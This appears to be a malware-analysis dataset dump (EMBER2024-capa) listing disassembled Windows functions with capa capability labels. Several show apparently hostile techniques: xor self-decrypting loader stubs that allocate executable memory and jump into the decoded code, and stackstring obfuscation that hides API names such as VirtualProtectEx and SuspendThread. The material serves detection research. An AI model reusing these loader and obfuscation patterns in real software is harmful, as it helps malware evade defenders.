joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d7b5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40d7c4
pop dword [ebp - 0x28]
mov eax, 0x40d7c4
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x4d442
push 0
mov eax, 0x98699f60
sub eax, 0x98233788
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x3ac2f66
add ecx, 0xfc54170c
xor esi, esi
add esi, eax
mov edi, 0x335d4dde
sub edi, 0x33146dde
add edi, dword [ebp - 0x28]
mov ebx, 0xf6dce8a0
sub ebx, 0x998b2288
mov dword [ebp - 0x1c], 0xa85b5e0f
mov edx, dword [edi]
sub dword [ebp - 0x14], 0xe08452f
xor edx, ebx
mov dword [esi], edx
sub dword [ebp - 0x14], ebx
add esi, 0x3242d633
add esi, 0xcdbd29d1
add edi, 0x9e165b98
add edi, 0x61e9a46c
loop 0x40d820
add eax, 0x10c9b
xor ebx, ebx
add ebx, eax
add eax, 0xcc951ac0
add eax, 0x336ae545
mov ecx, 0x6f038262
add ecx, 0x913c7d9e
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x10001210
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov word [ebp - 6], 0x7274
mov dword [ebp - 0xb], 0x20657479
mov byte [ebp - 4], 0
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 7], 0x70
mov word [ebp - 0x15], 0x2064
mov word [ebp - 0x12], 0x7274
mov byte [ebp - 0x13], 0x70
mov byte [ebp - 0x10], 0
mov word [ebp - 0x17], 0x726f
mov byte [ebp - 0x18], 0x77
mov dword [ebp - 0x22], 0x2064726f
mov word [ebp - 0x1d], 0x7274
mov byte [ebp - 0x1b], 0
mov word [ebp - 0x24], 0x7764
mov byte [ebp - 0x1e], 0x70
mov dword [ebp - 0x41], 0x727470
mov word [ebp - 0x44], 0x6574
mov word [ebp - 0x47], 0x625f
mov byte [ebp - 0x42], 0x20
mov byte [ebp - 0x48], 0x36
mov byte [ebp - 0x45], 0x79
mov word [ebp - 0x2a], 0x7470
mov word [ebp - 0x2d], 0x6472
mov word [ebp - 0x30], 0x7771
mov word [ebp - 0x28], 0x72
mov byte [ebp - 0x2b], 0x20
mov byte [ebp - 0x2e], 0x6f
mov dword [ebp - 0x51], 0x65747962
mov dword [ebp - 0x4d], 0x72747020
mov word [ebp - 0x53], 0x5f30
mov byte [ebp - 0x49], 0
mov byte [ebp - 0x54], 0x31
mov word [ebp - 0x5a], 0x2044
mov dword [ebp - 0x60], 0x41564e49
mov word [ebp - 0x57], 0x5254
mov byte [ebp - 0x55], 0
mov word [ebp - 0x5c], 0x494c
mov byte [ebp - 0x58], 0x50
mov dword [ebp - 0x66], 0x54502044
mov dword [ebp - 0x6c], 0x41564e49
mov word [ebp - 0x68], 0x494c
mov word [ebp - 0x62], 0x52
mov dword [ebp - 0x36], 0x727470
mov word [ebp - 0x3b], 0x6f77
mov word [ebp - 0x38], 0x2064
mov byte [ebp - 0x3c], 0x6f
mov byte [ebp - 0x39], 0x72
cmp ecx, 8
ja case.default.0x10001322
jmp dword [ecx*4 + 0x100013f0]
lea eax, [ebp - 0xc]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x18]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x48]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x30]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x54]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x60]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x6c]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x3c]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x10001420
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov word [ebp - 3], 0x73
mov byte [ebp - 4], 0x65
mov word [ebp - 8], 0x7363
mov byte [ebp - 6], 0
mov word [ebp - 0xc], 0x7373
mov byte [ebp - 0xa], 0
mov word [ebp - 0x10], 0x7364
mov byte [ebp - 0xe], 0
mov word [ebp - 0x13], 0x73
mov byte [ebp - 0x14], 0x66
mov word [ebp - 0x17], 0x73
mov byte [ebp - 0x18], 0x67
mov word [ebp - 0x1d], 0x524f
mov word [ebp - 0x20], 0x5245
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1b], 0
mov dword [ebp - 0x26], 0x524f52
mov word [ebp - 0x28], 0x5245
cmp ecx, 7
ja case.default.0x1000148c
jmp dword [ecx*4 + 0x10001544]
lea eax, [ebp - 4]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0xc]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x10]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x14]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x18]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x20]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x28]
push eax
push 0x104
push edx
call fcn.100165a0
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x10009c20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 9], 0x6c642e32
push eax
mov word [ebp - 5], 0x6c
mov dword [ebp - 0xf], 0x656e7265
mov word [ebp - 0xb], 0x336c
mov byte [ebp - 0x10], 0x4b
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esp, ebp
pop ebp
ret

Function at 0x10009c60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 7], 0x6c6c64
push eax
mov dword [ebp - 0xb], 0x2e323369
mov word [ebp - 0xd], 0x7061
mov word [ebp - 0x10], 0x6441
mov byte [ebp - 0xe], 0x76
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esp, ebp
pop ebp
ret

Function at 0x10009ca0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 0xc]
mov word [ebp - 8], 0x3233
push eax
mov dword [ebp - 6], 0x6c6c642e
mov word [ebp - 0xb], 0x6573
mov byte [ebp - 2], 0
mov byte [ebp - 0xc], 0x55
mov byte [ebp - 9], 0x72
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esp, ebp
pop ebp
ret

Function at 0x10009ce0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x776c6853
push eax
mov dword [ebp - 8], 0x2e697061
mov word [ebp - 3], 0x6c6c
mov byte [ebp - 1], 0
mov byte [ebp - 4], 0x64
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esp, ebp
pop ebp
ret
Function at 0x1000a0e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], 0x65536c61
push eax
mov dword [ebp - 6], 0x6e6f69
mov dword [ebp - 0x16], 0x657a696c
mov dword [ebp - 0x1a], 0x61697469
mov word [ebp - 8], 0x7463
mov word [ebp - 0x11], 0x6972
mov word [ebp - 0x1c], 0x6e49
mov word [ebp - 0xe], 0x6369
mov byte [ebp - 0x12], 0x43
mov byte [ebp - 0xf], 0x74
call fcn.10009c20
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000a13d
push 0x1006e68c
call eax
mov esp, ebp
pop ebp
ret

Function at 0x1000a150
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 0x10]
mov word [ebp - 5], 0x64
push eax
mov esi, ecx
mov dword [ebp - 0xe], 0x656d7573
mov dword [ebp - 0xa], 0x65726854
mov word [ebp - 0x10], 0x6552
mov byte [ebp - 6], 0x61
call fcn.10009c20
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000a193
push esi
call eax
pop esi
mov esp, ebp
pop ebp
ret
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000a1a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 6], 0x7972746e
push eax
mov esi, edx
mov word [ebp - 0x15], 0x6854
mov edi, ecx
mov word [ebp - 0xa], 0x6f74
mov word [ebp - 0xd], 0x656c
mov word [ebp - 0x18], 0x6547
mov dword [ebp - 0x12], 0x53646165
mov byte [ebp - 2], 0
mov word [ebp - 8], 0x4572
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xe], 0x65
call fcn.10009c20
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000a20d
push dword [ebp + 8]
push esi
push edi
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000a220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x12], 0x61757472
push eax
mov esi, edx
mov dword [ebp - 7], 0x784574
mov edi, ecx
mov dword [ebp - 0xd], 0x746f7250
mov word [ebp - 0x14], 0x6956
mov word [ebp - 9], 0x6365
mov byte [ebp - 0xe], 0x6c
call fcn.10009c20
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000a278
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
push edi
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000a4b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
lea eax, [ebp - 0x10]
mov word [ebp - 5], 0x79
push eax
mov esi, edx
mov word [ebp - 8], 0x6575
mov edi, ecx
mov word [ebp - 0xb], 0x6c61
mov dword [ebp - 0x10], 0x74726956
mov byte [ebp - 6], 0x72
mov byte [ebp - 9], 0x51
mov byte [ebp - 0xc], 0x75
call fcn.10009c20
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000a501
push 0x1c
push esi
push edi
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000a560
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 0x10]
mov word [ebp - 0x10], 0x6956
push eax
mov esi, ecx
mov dword [ebp - 7], 0x636f6c
mov dword [ebp - 0xd], 0x6c617574
mov word [ebp - 9], 0x6c41
mov byte [ebp - 0xe], 0x72
call fcn.10009c20
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000a5ac
push 0x20
push 0x3000
push 0x6c
push esi
call eax
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000a5c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0xb], 0x6854646e
push eax
mov esi, ecx
mov dword [ebp - 6], 0x646165
mov dword [ebp - 0x10], 0x70737553
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 7], 0x72
call fcn.10009c20
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000a602
push esi
call eax
pop esi
mov esp, ebp
pop ebp
ret
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000a610
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
lea eax, [ebp - 0x14]
mov word [ebp - 0xb], 0x7250
push eax
mov esi, ecx
mov dword [ebp - 0x12], 0x72685474
mov dword [ebp - 7], 0x79746972
mov word [ebp - 0xe], 0x6165
mov word [ebp - 9], 0x6f69
mov byte [ebp - 3], 0
mov word [ebp - 0x14], 0x6547
mov byte [ebp - 0xc], 0x64
call fcn.10009c20
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000a663
push esi
call eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 0x7fffffff
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000a700
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
lea eax, [ebp - 0x10]
mov word [ebp - 4], 0x79
push eax
mov esi, edx
mov word [ebp - 0xf], 0x6c74
mov edi, ecx
mov word [ebp - 0xa], 0x4d6f
mov word [ebp - 7], 0x6f6d
mov byte [ebp - 0x10], 0x52
mov byte [ebp - 5], 0x72
mov word [ebp - 0xc], 0x7265
mov byte [ebp - 0xd], 0x5a
mov byte [ebp - 8], 0x65
call fcn.10009c20
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000a752
push esi
push edi
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1002ac73
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1002a51f
Function at 0x1002ac7e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1002a75a

Function at 0x100355de
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1003541c

Function at 0x1003b7d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
call fcn.10009ca0
test eax, eax
je 0x1003b81f
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x11], 0x65726f46
push ecx
push eax
mov dword [ebp - 5], 0x776f646e
mov dword [ebp - 0xa], 0x57646e75
mov word [ebp - 0x14], 0x6553
mov word [ebp - 0xd], 0x7267
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 1], 0
mov byte [ebp - 6], 0x69
mov byte [ebp - 0xb], 0x6f
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1003b880
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call fcn.10009ca0
test eax, eax
je 0x1003b8c1
lea ecx, [ebp - 0x10]
mov dword [ebp - 5], 0x776f646e
push ecx
push eax
mov dword [ebp - 0xb], 0x65766974
mov dword [ebp - 0x10], 0x41746553
mov word [ebp - 7], 0x6957
mov byte [ebp - 1], 0
mov byte [ebp - 0xc], 0x63
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1003bc10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 0xc]
sub esp, 0x118
cmp eax, 1
jne 0x1003bcc0
push ecx
lea edx, [esp + 0x14]
call fcn.10009fa0
add esp, 4
mov dword [esp + 6], 0x75732074
lea edx, [esp]
mov dword [esp + 0xc], 0x74726f
lea ecx, [esp + 0x10]
mov dword [esp + 1], 0x6174736e
mov word [esp + 0xa], 0x7070
mov byte [esp], 0x69
mov byte [esp + 5], 0x6e
call fcn.1000a510
test eax, eax
jne 0x1003bcec
mov edx, sym.drvhlp.dll_xng4oc
mov ecx, 0x1006e570
call fcn.1003be90
test eax, eax
je 0x1003bcec
mov edx, sym.drvhlp.dll_epxjln
mov ecx, 0x1006e530
call fcn.1003be90
test eax, eax
je 0x1003bcec
mov edx, sym.drvhlp.dll_p4neo7
mov ecx, 0x1006e558
call fcn.1003be90
test eax, eax
je 0x1003bcec
mov edx, sym.drvhlp.dll_qq6fd2
mov ecx, 0x1006e554
call fcn.1003be90
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc
test eax, eax
jne 0x1003bcec
mov ecx, 0x1006e570
call fcn.1000ae30
mov ecx, 0x1006e530
call fcn.1000ae30
mov ecx, 0x1006e558
call fcn.1000ae30
mov ecx, 0x1006e554
call fcn.1000ae30
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1003bd50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cmp dword [0x1006e680], 0
jne 0x1003bd77
call fcn.1000a0e0
mov edx, 0x100
mov ecx, 0x1006e580
call fcn.1000a700
mov dword [0x1006e680], 1
jmp fcn.1000a760
Function at 0x1003c0b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call fcn.10009ca0
test eax, eax
je 0x1003c0ee
lea ecx, [ebp - 0x10]
mov dword [ebp - 0xf], 0x69577465
push ecx
push eax
mov dword [ebp - 8], 0x736f5077
mov word [ebp - 0xb], 0x646e
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 4], 0
mov byte [ebp - 9], 0x6f
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1003c150
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
call fcn.10009ca0
test eax, eax
je 0x1003c193
lea ecx, [ebp - 0x14]
mov word [ebp - 0xf], 0x6957
push ecx
push eax
mov dword [ebp - 0x14], 0x6e697242
mov dword [ebp - 0xd], 0x776f646e
mov dword [ebp - 7], 0x706f54
mov byte [ebp - 0x10], 0x67
mov word [ebp - 9], 0x6f54
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1003c220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push esi
push 0x104
lea eax, [ebp - 0x130]
mov esi, ecx
push 0
push eax
mov dword [ebp - 0x10], esi
call fcn.1000df90
add esp, 0xc
mov dword [ebp - 5], 0x73255c45
lea ecx, [ebp - 0x28]
mov dword [ebp - 0xa], 0x41575446
mov word [ebp - 0xc], 0x4f53
mov byte [ebp - 1], 0
mov byte [ebp - 6], 0x52
call fcn.1000b530
cmp dword [eax + 0x14], 0x10
jb 0x1003c271
mov eax, dword [eax]
push eax
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x130]
push 0x104
push eax
call fcn.1000b430
mov edx, dword [ebp - 0x14]
add esp, 0x14
cmp edx, 0x10
jb 0x1003c2bc
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1003c2b2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003c2d1
push edx
push ecx
call fcn.1000bde9
add esp, 8
lea eax, [ebp - 0x130]
mov ecx, esi
push eax
call fcn.1000b5d0
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.1001f0d7
int3

Function at 0x430002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
mov ecx, 0x716055e7
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data_1
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x389f7d76
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x405d9a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42c574], 0
push esi
jne 0x405dd1
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405dab
mov dword [ecx*4 + 0x42c570], eax
inc ecx
cmp ecx, 0x100
jl 0x405da6
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405e02
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42c570]
xor eax, esi
inc ecx
dec edx
jne 0x405de4
pop edi
not eax
pop esi
ret 0xc

Function at 0x402000
Capabilities:
Encode data using xor

Disassembly:
call dword [sym.imp.kernel32.dll_GetACP]
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
call fcn.0040142a
push 0x7eff
push 0
call fcn.00401451
call dword [0x40652a]
adc eax, 0x40652a
mov dword [0x403071], eax
mov ebx, 0x7f00
push ebx
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov ebx, 0x403059
mov dword [0x403069], 0x400000
mov dword [0x40306d], 0
push ebx
call dword [sym.imp.user32.dll_RegisterClassA]
call fcn.0040100f
push edi
sbb byte [eax], al
xor bh, byte [ecx - 0x19]
xchg esi, eax
push es
add byte [ebp + ebp + 0x7d9e3], cl
mov eax, 0xd29a9e8
add bh, dl
and cl, byte [eax]
daa
adc dword [eax], eax
in al, dx
dec edx
or eax, 0x9f00120d
jno 0x40201e
or dword [edi], ecx
add byte [edx + 0x50], ch
stosd dword es:[edi], eax
push cs
verw word [esi + 0x1040c48c]
add byte [ebx], ah
hlt
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10009830
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10009830
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10009830
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10009830
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10009830
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10009830
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10009830
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10009830
push 0xd008
push edi
call fcn.10009830
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10009830
int3

Function at 0x10009830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1000983f
pop dword [ebp - 0x10]
mov eax, 0x1000983f
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3bbd3
push 0
mov eax, 0xc81347d9
add eax, 0x47edf88b
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x571b73f7
add ecx, 0xa8e4defc
xor ebx, ebx
add ebx, eax
mov edi, 0x5e544af4
add edi, 0xb1ad3b0c
add edi, dword [ebp - 0x10]
mov edx, 0x7eaa446a
sub edx, 0xb14d62cb
xor dword [ebp - 4], ebx
mov esi, dword [edi]
sub dword [ebp - 0xc], ecx
sub esi, edx
sub dword [ebp - 0xc], esi
mov dword [ebx], esi
mov dword [ebp - 4], 0x6a456e95
add ebx, 0xeeee702
sub ebx, 0xeeee6fe
add edi, 0x72bcea4a
add edi, 0x8d4315ba
loop 0x1000989b
add eax, 0xedd32da1
sub eax, 0xedd1ef02
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x404940
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44be30
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x466014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0x467070
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.0041a920
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x466a88
push eax
call fcn.0041a920
mov esi, dword [0x467080]
xor ebx, ebx
mov edi, dword [0x467084]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x46a280], bl
mov eax, ebx
mov ecx, 0x467070
cmovae ecx, dword [0x467070]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x46a390], al
inc ebx
cmp ebx, 0x100
jl 0x4049c0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x46a280]
movzx eax, byte [esi + 0x46a390]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x404a14
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x46a280]
mov byte [esi + 0x46a280], al
inc esi
mov byte [edi + 0x46a280], dl
cmp esi, 0x100
jl 0x4049f0
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00404590
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x404a69
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404a5f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404abf
push edx
push ecx
call fcn.0041fec8
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x404aab
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404aa1
